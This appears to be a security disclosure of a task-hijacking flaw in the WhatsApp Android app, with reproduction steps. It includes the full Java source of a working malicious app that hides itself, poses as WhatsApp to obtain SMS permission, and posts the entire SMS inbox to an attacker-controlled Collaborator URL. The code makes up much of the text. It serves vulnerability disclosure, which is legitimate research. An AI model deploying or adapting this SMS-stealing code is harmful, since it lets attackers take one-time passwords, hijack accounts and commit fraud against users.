While reviewing the WhatsApp Android application, researchers identified a misconfiguration in AndroidManifest.xml related to task control features.

This misconfiguration leads to a critical vulnerability called task hijacking and enables the attack flow against the latest WhatsApp on Android-based phones.

In successful exploitation of the vulnerability, the malicious app can take over the “back stack” of the WhatsApp app, and whenever a user tries to open the vulnerable WhatsApp app, he or she will be shown the malicious app’s activity.

This attack flow is possible for anyone who has a malicious app on their phone. Researchers tried to exploit this and created a real proof of concept that easily confuses the user with the real app.

Steps To Reproduce

  1. Researchers decompiled the latest version of the Android application and noticed that the value of the launch mode attribute is single Task. This is the main identification of the Android Task Hijacking vulnerability.
    • Please see the reference section for details about this vulnerability

2. For testing purposes,researchers used a Galaxy S3 device running Android 10 with the latest patch.

3. Note this OTP SMS from WhatsApp; later researchers will steal it.

4. A valid WhatsApp application has been installed from the Play Store.

5. Open the Burp Suite Collaborator client and copy the Collaborator payload. Researchers will use this as the attacker’s command and control (C&C) or C2 server to receive the stolen SMS.

  1. Researchers have created a malicious Android app that will steal and send all available SMS to the Burp collaborator client (the attacker’s C&C server).
    • Replace the “url” String variable in the code with the Burp collaborator payload. Run the application in Android Studio to install it on the device.

Android App Code:

public class MainActivity extends AppCompatActivity {

    private static final int MY_PERMISSIONS_REQUEST_SEND_SMS = 1;
    boolean shouldExecuteOnResume;
    String url = "https://xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.oastify.com/"; // C&C server URL


    public static final MediaType JSON
            = MediaType.get("application/json; charset=utf-8");
    OkHttpClient client = new OkHttpClient();


    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        shouldExecuteOnResume = false;
        moveTaskToBack(true);

        //checkForSmsPermission();
    }

    @Override
    protected void onResume() {
        super.onResume();
        setContentView(R.layout.activity_main);
        if(shouldExecuteOnResume){
            checkForSmsPermission();
        } else{
            shouldExecuteOnResume = true;
        }

    }

    private void checkForSmsPermission() {
        if (ActivityCompat.checkSelfPermission(this,
                Manifest.permission.READ_SMS) !=
                PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(this,
                    new String[]{Manifest.permission.READ_SMS},
                    MY_PERMISSIONS_REQUEST_SEND_SMS);
        } else {
            readSMS();
        }
    }

    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        switch (requestCode){
            case MY_PERMISSIONS_REQUEST_SEND_SMS:{
                if (grantResults[0] == PackageManager.PERMISSION_GRANTED){
                    readSMS();
                }else {
                    Toast.makeText(this, "Please grant permission", Toast.LENGTH_SHORT).show();
                    checkForSmsPermission();
                }
            }
        }
    }

    private void readSMS(){
        String[] reqCols = new String[]{"_id", "address", "body"};

        Cursor cursor = getContentResolver().query(Uri.parse("content://sms/inbox"), reqCols, null, null, null);

        JSONArray resultSet = new JSONArray();

        if (cursor.moveToFirst()) { // must check the result to prevent exception
            do {
                String msgData = "";
                JSONObject rowObject = new JSONObject();
                for (int idx = 0; idx < cursor.getColumnCount(); idx++) {
                    try {
                        rowObject.put(cursor.getColumnName(idx),cursor.getString(idx));
                    } catch (JSONException e) {
                        e.printStackTrace();
                    }
                }
                resultSet.put(rowObject);

            } while (cursor.moveToNext());
            Log.d("##SMS#win3zz##", resultSet.toString());

            post(url, resultSet.toString(), new Callback() {
                @Override
                public void onFailure(Call call, IOException e) {
                    Log.d("##Something went wrong#", e.toString());
                }

                @Override
                public void onResponse(Call call, Response response) throws IOException {
                    if (response.isSuccessful()) {
                        String responseStr = response.body().string();
                        Log.d("##Response##", responseStr);
                    } else {
                        Log.d("##Response##", "Error: Request not successful");
                    }
                }
            });

        } else {
            Log.d("##Error##", "Error: No SMS");
        }
    }

    Call post(String url, String json, Callback callback) {
        RequestBody body = RequestBody.create(JSON, json);
        Request request = new Request.Builder()
                .url(url)
                .post(body)
                .build();
        Call call = client.newCall(request);
        call.enqueue(callback);
        return call;
    }

}

7. Note that there are two applications, one is legitimate and the other is malicious. Run the malicious app by clicking on it.

8. Observe that the application will run and hide immediately, even though it will not appear in the recent activity.

9. Now click on our valid WhatsApp application (which is downloaded and installed from the Play Store) and run it.

10. This is a very important part. Now you will see that the application is asking about SMS permission, but it is not actually being asked by our legitimate app, it is part of the malicious app, which is automatically injected into the activity stack when the legitimate WhatsApp application is opened.

11. Once the user gives permission as it is being asked by our valid WhatsApp application, all the SMS available on the device will be sent to the C&C servers.

Observe the contents of the SMS in the Burp collaborator client, which was viewed in Step 3.

Impact

This vulnerability allows attackers or malware to take over WhatsApp, steal user data, and perform a variety of attacks, including:

  • Harvest application permissions to perform malicious tasks, including recording audio and video and taking pictures from both cameras.
  • Read contacts, call logs and SMS logs (which may contain banking OTP and other sensitive information)
  • Payment pages can be Spoof to commit financial fraud, which will cause reputational as well as financial loss to Meta Platforms, Inc.
  • In extreme scenario, attacker can even Make and/or record phone conversations